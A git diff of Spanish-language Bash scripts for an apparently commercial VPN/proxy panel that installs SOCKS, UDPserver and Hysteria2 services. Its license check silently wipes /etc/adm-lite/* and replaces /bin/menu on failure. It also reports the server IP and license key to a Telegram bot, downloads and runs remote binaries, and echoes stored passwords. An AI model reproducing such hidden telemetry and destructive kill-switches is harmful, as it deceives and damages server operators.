"ws$porta_socket python" |grep -v grep ) ]] && { +msg -bar3 +print_center -verd " REACTIVADOR DE SOCK Python ${porta_socket} ENCENDIDO " +[[ $(grep -wc "ws$porta_socket" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot + } || { + sed -i '/ws${porta_socket}/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot + } +sleep 2s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR " +sleep 2s && tput cuu1 && tput dl1 +return +} +[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log +} + +#-----------SELECCION------------ +selecPython () { +msg -bar3 +menu_func "Socks WS OFICIAL ( SCREEM )" "$(msg -ama "Socks WS BETA ( SYSTEM )")" "$(msg -verm2 "Socks WS/Proxy (EPro)( SYSTEM )")" +msg -bar3 +echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m" +msg -bar3 +selection=$(selection_fun 3) +case ${selection} in + 1) + mod3 "${conect}" + sleep 2s + ;; + 2) + mod2 "${conect}" + sleep 2s + ;; + 3) + [[ $(uname -m 2> /dev/null) != x86_64 ]] && { + msg -ama " BINARIO NO COMPATIBLE CON ARM64 " + read -p "PRESIONE ENTER PARA RETORNAR" + exit + } || { + if wget -O /bin/WS-Epro https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/SockWS/autoStart &>/dev/null ; then + chmod 777 /bin/WS-Epro + fi + mod1 "${conect}" + sleep 2s + } + ;; + 0) return 1;; +esac +return 1 +} +#-----------FIN SELECCION-------- +selecPython +tput cuu1 && tput dl1 + msg -bar3 + [[ $(ps x | grep "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!" + msg -bar3 + sleep 1 +} + +iniciarsocks () { +pidproxy=$(ps x | grep -w "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && P1="\033[1;32m[ON]" || P1="\033[1;31m[OFF]" +pidproxy2=$(ps x | grep -w "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && P2="\033[1;32m[ON]" || P2="\033[1;31m[OFF]" +pidproxy3=$(ps x | grep -w "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="\033[1;32m[ON]" || P3="\033[1;31m[OFF]" +pidproxy4=$(ps x | grep -w "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && P4="\033[1;32m[ON]" || P4="\033[1;31m[OFF]" +pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && P5="\033[1;32m[ON]" || P5="\033[1;31m[OFF]" +pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && P6="\033[1;32m[ON]" || P6="\033[1;31m[OFF]" +tittle +menu_func "SOCKS-PYTHON SIMPLE $P1" \ +"SOCKS-PYTHON SEGURO $P2" \ +"SOCKS-PYTHON DIRECT $P3" \ +"SOCKS-PYTHON OPENVPN $P4" \ +"SOCKS-PYTHON GETTUNEL $P5" \ +"SOCKS-PYTHON TCPBYPASS $P6" +#echo -e "\e[91m\e[43m ==== SCRIPT MOD ChumoGH|EDICION ==== \033[0m \e[1;97m[$(less ${ADM_inst}/v-local.log)]" +#msg -bar3 +#echo -ne "$(msg -verd " [1]") $(msg -verm2 ">") " && msg -azu "Socks Python SIMPLE $P1" +#echo -ne "$(msg -verd " [2]") $(msg -verm2 ">") " && msg -azu "Socks Python SEGURO $P2" +#echo -ne "$(msg -verd " [3]") $(msg -verm2 ">") " && msg -azu "Socks Python DIRETO (WS) $P3" +#echo -ne "$(msg -verd " [4]") $(msg -verm2 ">") " && msg -azu "Socks Python OPENVPN $P4" +#echo -ne "$(msg -verd " [5]") $(msg -verm2 ">") " && msg -azu "Socks Python GETTUNEL $P5" +#echo -ne "$(msg -verd " [6]") $(msg -verm2 ">") " && msg -azu "Socks Python TCP BYPASS $P6" + +#echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON SIMPLE $P1" +#echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON SEGURO $P2" +#echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON DIRECT $P3" +#echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON OPENVPN $P4" +#echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON GETTUNEL $P5" +#echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\e[1;97m ${flech} SOCKS-PYTHON TCP-BYPASS $P6" + +msg -bar + +py=7 +var_p="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "WS-Epro"| wc -l) " +var_w="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "python"|wc -l)" +var_check=$(( ${var_p} + ${var_w} )) +if [[ ${var_check} -ge "2" ]]; then + + echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\e[1;33m ${flech} $(msg -verm 'ANULAR TODOS')" + echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\e[1;33m ${flech} $(msg -verm 'ELIMINAR UN PUERTO')" + #echo -e "$(msg -verd " [7]") $(msg -verm2 ">") $(msg -azu "ANULAR TODOS") $(msg -verd " [8]") $(msg -verm2 ">") $(msg -azu "ELIMINAR UN PUERTO")" + py=8 +else + echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\e[1;33m ${flech} $(msg -verm 'ELIMINAR TODOS')" + #echo -e "$(msg -verd " [7]") $(msg -verm2 ">") $(msg -azu "ELIMINAR TODOS")" +fi + +back +#msg -bar3 +#echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m" +#msg -bar3 +selection=$(selection_fun ${py}) +case ${selection} in + 1)colector PPub;; + 2)colector PPriv;; + 3)colector PDirect;; + 4)colector POpen;; + 5)colector PGet;; + 6);; + 7)stop_all;; + 8)stop_port;; + 0)return 1;; +esac +return 1 +} +chekKEY &> /dev/null 2>&1 +iniciarsocks + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + diff --git a/Recursos/menu_inst/UDPserver-sh/authSSH b/Recursos/menu_inst/UDPserver-sh/authSSH new file mode 100644 index 0000000..7b4beda --- /dev/null +++ b/Recursos/menu_inst/UDPserver-sh/authSSH @@ -0,0 +1,88 @@ +#!/bin/bash +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + +clear&&clear +# exit 1 es fallido +# exit 0 es exitosa + +if [ $# -ne 4 ]; then + echo "Servidor Hysteria UDPMod @drowkid01 . V1 Oficial . . ." + echo "LOS ARGUMENTOS SON INVALIDOS" + exit 1 +fi + +[[ ! -e /etc/cghkey ]] && echo -e "NO EXISTEN VALIDADORES DEL SCRIPT" && exit + +[[ -e /etc/cghkey ]] && { +[[ -z ${IP} ]] && IP=$(cat < /bin/ejecutar/IPcgh) +Key="$(cat /etc/cghkey)" +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ ! -e /file ]] && wget -q -O /file "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT" +_double=$(cat < /file) +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ -z ${_check2} ]] && echo -e "BINARIO NO CORRESPONDE AL SCRIPT" && exit +} + +ADDR=$1 +AUTH=$2 +SEND=$3 +RECV=$4 + +[[ $(echo -e "${AUTH}" | grep -i ':') ]] && { +pUSER=$(echo -e "${AUTH}"| cut -d ':' -f1) +CLAVE=$(echo -e "${AUTH}"| cut -d ':' -f2) +ofusMODE=1 +} || { +pUSER=${AUTH} +ofusMODE=0 +} + +[[ $(cat "/etc/passwd" | grep -w ${pUSER}) ]] && { +FValid=$(date +%s) +UValid=$(chage -l ${pUSER} |grep -i co |cut -d ':' -f2) +DataSEC=$(date +%s --date="${UValid}") +[[ ${FValid} -gt ${DataSEC} ]] && { +echo -e "AUTENTIFICACION FALLIDA POR USUARIO CADUCADO : ${pUSER} " +exit 1 +} || { +[[ ${ofusMODE} = 1 ]] && { +#[[ -e /etc/adm-lite/userDIR/${pUSER} ]] && _PASS=$(cat /etc/adm-lite/userDIR/${pUSER} | grep "senha" | awk '{print $2}') +[[ -e /etc/adm-lite/userDIR/${pUSER} ]] && _PASS=$(cat /etc/adm-lite/userDIR/${pUSER} | grep "senha"|cut -d ":" -f2 | sed 's/\s\+//g') +[[ ${CLAVE} = ${_PASS} ]] && { +echo -e "AUTENTIFICACION EXITOSA / CLAVE VALIDA : ${AUTH} / ${_PASS} " +exit 0 +} || { +echo -e "AUTENTIFICACION FALLIDA / CLAVE INVALIDA : ${pUSER} / ${_PASS}" +exit 1 +} + } || { + echo -e "AUTENTIFICACION EXITOSA PARA : ${pUSER} " + exit 0 + } + } +} || { +echo -e "AUTENTIFICACION FALLIDA / USER NO EXISTE : ${pUSER} " +exit 1 +} diff --git a/Recursos/menu_inst/UDPserver-sh/config.json b/Recursos/menu_inst/UDPserver-sh/config.json new file mode 100644 index 0000000..f0af4fd --- /dev/null +++ b/Recursos/menu_inst/UDPserver-sh/config.json @@ -0,0 +1,19 @@ +{ + "listen": ":36712", + "cert": "/etc/adm-lite/HYSTERIA/udp.server.crt", + "key": "/etc/adm-lite/HYSTERIA/udp.server.key", + "protocol": "udp", + "up": "100 Mbps", + "up_mbps": 100, + "down": "100 Mbps", + "down_mbps": 100, + "disable_udp": false, + "obfs": "setobfs", + //"alpn": "h3", + "auth": { + "mode": "external", + "config": { + "cmd": "/bin/authSSH" + } + } +} diff --git a/Recursos/menu_inst/UDPserver-sh/hysteria.service b/Recursos/menu_inst/UDPserver-sh/hysteria.service new file mode 100644 index 0000000..deb3e90 --- /dev/null +++ b/Recursos/menu_inst/UDPserver-sh/hysteria.service @@ -0,0 +1,20 @@ +[Unit] +Description=HysteriaUDP MOD Service BY @ChumoGH +After=network.target + +[Service] +User=root +Group=root +ExecStartPost=sysb net.ipv4.ip_forward=1 +ExecStartPost=sysb net.ipv4.conf.all.rp_filter=0 +ExecStartPost=sysb net.ipv4.conf.iptb.rp_filter=0 +ExecStartPost=ip4tbin -t nat -A PREROUTING -i iptb -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStartPost=ip6tbin -t nat -A PREROUTING -i iptb -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStopPost=ip4tbin -t nat -D PREROUTING -i iptb -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStopPost=ip6tbin -t nat -D PREROUTING -i iptb -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +WorkingDirectory=/etc/adm-lite/HYSTERIA +Environment="PATH=/etc/adm-lite/HYSTERIA:/usr/bin:/bin" +ExecStart=/bin/hysteria -config /etc/adm-lite/HYSTERIA/config.json server + +[Install] +WantedBy=multi-user.target diff --git a/Recursos/menu_inst/UDPserver.org.sh b/Recursos/menu_inst/UDPserver.org.sh new file mode 100644 index 0000000..bebf241 --- /dev/null +++ b/Recursos/menu_inst/UDPserver.org.sh @@ -0,0 +1,228 @@ +#!/bin/bash +clear +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg + + +os_system(){ + system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') + distro=$(echo "$system"|awk '{print $1}') + case $distro in + Debian) vercion=$(echo $system|awk '{print $3}'|cut -d '.' -f1);; + Ubuntu) vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2);; + esac + } + +download_udpServer(){ + msg -nama ' Descargando binario UDPserver ----' + if wget -O /usr/bin/udpServer 'https://bitbucket.org/iopmx/udprequestserver/downloads/udpServer' &>/dev/null ; then + chmod +x /usr/bin/udpServer + msg -verd 'OK' + else + msg -verm2 'fail' + rm -rf /usr/bin/udpServer* + fi +chekKEY &> /dev/null 2>&1 +make_service +} + +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +Key="$(cat /etc/cghkey)" +_Key='/etc/cghkey' +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +} +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +_check2="$(echo -e "$_double" | grep ${IiP} | awk '{print $1}')" +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +rm -f /etc/folteto +rm -rf /etc/adm-lite/* +} +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +cheklist="$(cat /etc/folteto)" +chekKEY="$(echo -e "$cheklist" | grep ${Key} | awk '{print $5}')" +chekIP="$(echo -e "$cheklist" | grep ${IP} | awk '{print $3}')" +[[ -z ${chekKEY} || -z ${chekIP} ]] && { +xyz=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/token.sh") +[[ $(cat -n /etc/adm-lite/menu_credito | wc -l) -ge 2 ]] && ID="$(cat /etc/adm-lite/menu_credito |tail -1)" || ID="$(echo $xyz| awk '{print $2}')" +TOKEN="$(echo $xyz| awk '{print $1}')" +urlBOT="https://api.telegram.org/bot$TOKEN/sendMessage" +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m ================================================== + ¡ ${lLaM} KEY BANEADA POR ABUSO DE DATOS 🚫 ! CONTACTE Su ADMINISTRADOR + ${mss_} + ================================================== \n\n + SI ESTO FUE UN ERROR - TECLEA ** cgh ** \n\n" +' > /bin/menu +[[ ! -d /etc/banned ]] && mkdir /etc/banned +chmod +x /bin/menu +mv /etc/adm-lite/menu /etc/banned/ +mv /etc/adm-lite/usercodes /etc/banned/ +[[ ! -e ${_Key} ]] && { +rm -f /etc/folteto +rm -rf /etc/adm-lite/* +} +rm -f /etc/folteto + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} INSECTO DETECTADO EN UDPServer ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +_mssBOT () { +xyz=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/token.sh") +[[ "$(cat -n /etc/adm-lite/menu_credito | wc -l)" -ge "2" ]] && ID="$(cat /etc/adm-lite/menu_credito |tail -1)" || ID="$(echo $xyz| awk '{print $2}')" +TOKEN="$(echo $xyz| awk '{print $1}')" +urlBOT="https://api.telegram.org/bot$TOKEN/sendMessage" +data=$1 +MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" SERVICIO udpServer| $data \n" + MENSAJE+=" IP : $(wget -qO- ifconfig.me) \n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" KEY : $(cat /etc/cghkey)\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+="$(msg -br)\n" +curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +} + + +make_service(){ + ip_nat=$(ip -4 addr | grep inet | grep -vE '127(\.[0-9]{1,3}){3}' | cut -d '/' -f 1 | grep -oE '[0-9]{1,3}(\.[0-9]{1,3}){3}' | sed -n 1p) + interfas=$(ip -4 addr | grep inet | grep -vE '127(\.[0-9]{1,3}){3}'|grep "$ip_nat"|awk {'print $NF'}) + ip_publica=$(grep -m 1 -oE '^[0-9]{1,3}(\.[0-9]{1,3}){3}$' <<< "$(wget -T 10 -t 1 -4qO- "http://ip1.dynupdate.no-ip.com/" || curl -m 10 -4Ls "http://ip1.dynupdate.no-ip.com/")") + + #ip_nat=$(fun_ip nat) + #interfas=$(ip -4 addr | grep inet | grep -vE '127(\.[0-9]{1,3}){3}'|grep "$ip_nat"|awk {'print $NF'}) + #ip_publica=$(fun_ip) + msg -nama ' Ejecutando servicio UDPserver .....' + if screen -dmS UDPserver /usr/bin/udpServer -ip=$ip_publica -net=$interfas -mode=system &>/dev/null ; then + msg -verd 'OK' + _mssBOT "ACTIVADO!!" + else + msg -verm2 'fail' + _mssBOT " FALLIDO!!" + fi +} + + + reset_slow(){ + clear + msg -bar + msg -ama " Reiniciando UDPserver...." + screen -ls | grep UDPserver | cut -d. -f1 | awk '{print $1}' | xargs kill + if screen -dmS UDPserver /usr/bin/udpServer -ip=$ip_publica -net=$interfas -mode=system ;then + msg -verd " Con exito!!!" + _mssBOT "REINICIADO!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + stop_slow(){ + clear + msg -bar + msg -ama " Deteniendo UDPserver...." + if screen -ls | grep UDPserver | cut -d. -f1 | awk '{print $1}' | xargs kill ; then + msg -verd " Con exito!!!" msg -bar + else + msg -verm " Con fallo!!!" msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + remove() { + stop_slow + rm -f /usr/bin/udpServer* + _mssBOT "REMOVIDO!!" + } + + info() { + msg -bar + echo + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + echo + msg -bar + msg -ama " SOURCE OFICIAL DE NewToolWorks" + echo -e " https://bitbucket.org/iopmx/udprequestserver/src/master/" + msg -bar + msg -ama " URL DE APP OFICIAL " + echo -e "https://play.google.com/store/apps/details?id=com.newtoolsworks.sockstunnel" + msg -bar + msg -ama " CODIGO REFACTORIZADO POR @drowkid01" + msg -bar + read -p " PRESIONA ENTER PARA CONTINUAR" + clear + } +os_system + +while : +do + [[ $(ps x | grep udpServer| grep -v grep) ]] && _pid="\033[1;32m[ON]" || _pid="\033[1;31m[OFF]" + tittle + msg -ama " BINARIO OFICIAL DE NewToolWorks" + +[[ $(echo -e "${vercion}") < 20 ]] && { +msg -bar +echo -e "\e[1;31m SISTEMA: \e[33m$distro $vercion \e[1;31m CPU: \e[33m$(lscpu | grep "Vendor ID" | awk '{print $3}')" +echo -e " " +echo -e " UTILIZA LAS VARIANTES MENCIONADAS DENTRO DEL MENU " +echo "" +msg -ama " SE RECOMIENDA USAR UBUNTU 20.04 " +echo "" +msg -ama " O SUPERIOR" +echo "" +echo -e " [ ! ] Power by @drowkid01 [ ! ]" +echo "" +msg -bar +read -p " PRESIONA ENTER PARA CONTINUAR" +return +} + msg -bar + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + msg -bar +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { + +msg -ama " BINARIO NO COMPATIBLE CON PLATAFORMAS ARM " +echo "" +echo -e " [ ! ] Power by @drowkid01 [ ! ]" +echo "" +msg -bar +read -p " PRESIONA ENTER PARA CONTINUAR" +return +} + menu_func "Instalar UDPserver $_pid" "$(msg -ama "Reiniciar UDPserver")" "$(msg -verm2 "Detener UDPserver")" "$(msg -verm2 "Remover UDPserver")" "$(msg -ama "Info de Proyecto")" + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + msg -bar + opcion=$(selection_fun 6) + case $opcion in + 1)download_udpServer;; + 2)reset_slow;; + 3)stop_slow;; + 4)remove;; + 5)info;; + 0)exit;; + esac +done diff --git a/Recursos/menu_inst/UDPserver.sh b/Recursos/menu_inst/UDPserver.sh new file mode 100644 index 0000000..cb34a2c --- /dev/null +++ b/Recursos/menu_inst/UDPserver.sh @@ -0,0 +1,640 @@ +#By @drowkid01|Plus +clear&&clear + +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg + + +RED="\033[31m" +GREEN="\033[32m" +YELLOW="\033[33m" +PLAIN="\033[0m" + +APP_IMPORT_GUIDE=" Open 'HTTP Injector' \n app -> Tunnel Type set 'Hysteria' -> \n Settings -> Hysteria -> \n Pegue el URI de configuraci�n de Hysteria2 para importar \n " + +ip=$(mip) || ip=$(curl -s4m8 ip.sb -k) + +red(){ + echo -e "\033[31m\033[01m$1\033[0m" +} + +green(){ + echo -e "\033[32m\033[01m$1\033[0m" +} + +yellow(){ + echo -e "\033[33m\033[01m$1\033[0m" +} + + +starthysteria(){ + systemctl start hysteria-server &>/dev/null + systemctl enable hysteria-server &>/dev/null 2>&1 +} + +stophysteria(){ + systemctl stop hysteria-server &>/dev/null + systemctl disable hysteria-server &>/dev/null 2>&1 +} + +showConf(){ + #yellow "Hysteria 2 client YML configuration file hy-client.yaml is as follows and saved to /root/hy/hy-client.yaml" + #red "$(cat /root/hy/hy-client.yaml)" + #yellow "Hysteria 2 client JSON configuration file hy-client.json is as follows and saved to /root/hy/hy-client.json" + #red "$(cat /root/hy/hy-client.json)" + green "$APP_IMPORT_GUIDE" + yellow "Hysteria 2 config URI (with port hop) is as follows and saved to /root/hy/url.txt" + red "$(cat /root/hy/url.txt)" + yellow "Hysteria 2 config URI (without port hop) is as follows and saved to /root/hy/url-nohop.txt" + red "$(cat /root/hy/url-nohop.txt)" +} + + + +inst_port(){ + iptables -t nat -F PREROUTING &>/dev/null 2>&1 + msg -bar3 + echo -e "Configure el puerto Hysteria2 entre [1-65535] " + read -p " (Enter para puerto aleatorio) : " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + until [[ -z $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; do + if [[ -n $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; then + echo -e "${RED} $port ${PLAIN} El puerto ya est� ocupado por otro programa, �cambie el puerto e int�ntelo de nuevo! " + echo -e "Configure el puerto Hysteria2 entre [1-65535] " + read -p " (Enter para puerto aleatorio) : " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + fi + done + inst_jump +} + +inst_jump(){ + green "El modo de uso del puerto Hysteria 2 es el siguiente:" + echo "" + echo -e " ${GREEN}1.${PLAIN} Puerto Unico ${YELLOW}410default411${PLAIN}" + echo -e " ${GREEN}2.${PLAIN} Puerto RANGOS/RAMDOM (INICIO-FIN )" + echo "" + read -rp "Escoge [1-2]: " jumpInput + if [[ $jumpInput == 2 ]]; then + read -p "Configure el puerto de inicio del puerto de rango (recomendado entre 10000-65535):" firstport + read -p "Configure el puerto final de un puerto de rango (recomendado entre 10000-65535, debe ser m�s grande que el puerto de inicio anterior):" endport + if [[ $firstport -ge $endport ]]; then + until [[ $firstport -le $endport ]]; do + if [[ $firstport -ge $endport ]]; then + red "El puerto de inicio que configur� es menor que el puerto final; vuelva a ingresar el puerto inicial y final" + read -p "Configure el puerto de inicio del puerto de rango (recomendado entre 10000-65535): " firstport + read -p ":" endport + fi + done + fi + iptables -t nat -A PREROUTING -p udp --dport $firstport:$endport -j DNAT --to-destination :$port + ip6tables -t nat -A PREROUTING -p udp --dport $firstport:$endport -j DNAT --to-destination :$port + netfilter-persistent save &>/dev/null 2>&1 + else + red " DEFAULD MODO UNICO PUERTO" + fi +} + + +install_bin(){ +clear&&clear +msg -bar3 +NAME=hysteria +VERSION=$(curl -fsSL https://api.github.com/repos/apernet/hysteria/releases/latest | grep -w tag_name |sed -e 's/[^v.0-9 -]//ig'| tr -d '[:space:]') +[[ $(uname -m 2> /dev/null) != x86_64 ]] && TARBALL="$NAME-linux-arm64" || TARBALL="$NAME-linux-amd64" +msg -nama " Descargando Modulo ${VERSION}.(Evozi)." +if wget -O /bin/Hysteria2 https://github.com/apernet/hysteria/releases/download/app/${VERSION}/${TARBALL} &>/dev/null ; then + chmod +x /bin/Hysteria2 + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -f /bin/Hysteria2 +fi +echo " +[Unit] +Description=Hysteria2 Server Service ChumoGH +After=network.target + +[Service] +Type=simple +ExecStart=/bin/Hysteria2 server --config /etc/adm-lite/HYSTERIA/config.yaml +WorkingDirectory=~ +User=root +Group=root +Environment=HYSTERIA_LOG_LEVEL=info +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW +NoNewPrivileges=true + +[Install] +WantedBy=multi-user.target +" > /hysteria-server.service +chmod +x /hysteria-server.service +install -Dm644 /hysteria-server.service /etc/systemd/system +#systemctl disable hysteria-server.service &>/dev/null +#systemctl start hysteria-server.service &>/dev/null +#systemctl enable hysteria-server.service &>/dev/null +#rm -f /hysteria-server.service +} + +inst_pwd(){ + read -p "Establecer contrase�a de Hysteria2 (ingrese para obtener una contrase�a aleatoria): " auth_pwd + [[ -z $auth_pwd ]] && auth_pwd=$(date +%s%N | md5sum | cut -c 1-8) +} + +inst_site(){ +msg -bar3 +echo -e "INGRESA SU SNI ( HOST FAKE ) " +msg -bar3 + echo -e "Ingrese su Sitio WEB Falso A Hysteria 2 (elimine https://) " + read -rp " [Default : plus.admcgh.online]: " proxysite + [[ -z $proxysite ]] && proxysite='plus.admcgh.online' +} + +inst_cert(){ +msg -bar3 +echo -ne " Ingresa Tu Dominio Enlazado a este IP ( Omite con Enter ) :" +read -p " " domainH2 +[[ -z ${domainH2} ]] && domainH2='Hysteria2' + cert_path="/etc/hysteria/cert.crt" + key_path="/etc/hysteria/private.key" + openssl ecparam -genkey -name prime256v1 -out /etc/hysteria/private.key + openssl req -new -x509 -days 36500 -key /etc/hysteria/private.key -out /etc/hysteria/cert.crt -subj "/CN=${domainH2}" + chmod 777 /etc/hysteria/cert.crt + chmod 777 /etc/hysteria/private.key + hy_domain=$domainH2 + domain=$domainH2 +} + +_hysteria2(){ +[[ -d /etc/hysteria ]] || mkdir /etc/hysteria +[[ -d /etc/adm-lite/HYSTERIA ]] || mkdir /etc/adm-lite/HYSTERIA/ + install_bin + clear&&clear + # Ask user for Hysteria configuration + inst_cert + clear&&clear + inst_port + clear&&clear + inst_pwd + clear&&clear + inst_site + clear&&clear + # Set up the Hysteria configuration file +#cat << EOF > /etc/hysteria/config.yaml +cat << EOF > /etc/adm-lite/HYSTERIA/config.yaml +listen: :$port + +tls: + cert: $cert_path + key: $key_path + +obfs: + type: salamander + salamander: + password: $auth_pwd + +quic: + initStreamReceiveWindow: 16777216 + maxStreamReceiveWindow: 16777216 + initConnReceiveWindow: 33554432 + maxConnReceiveWindow: 33554432 + +auth: + type: password + password: $auth_pwd + +masquerade: + type: proxy + proxy: + url: https://$proxysite + rewriteHost: true +EOF + + # Determine the final inbound port range + if [[ -n 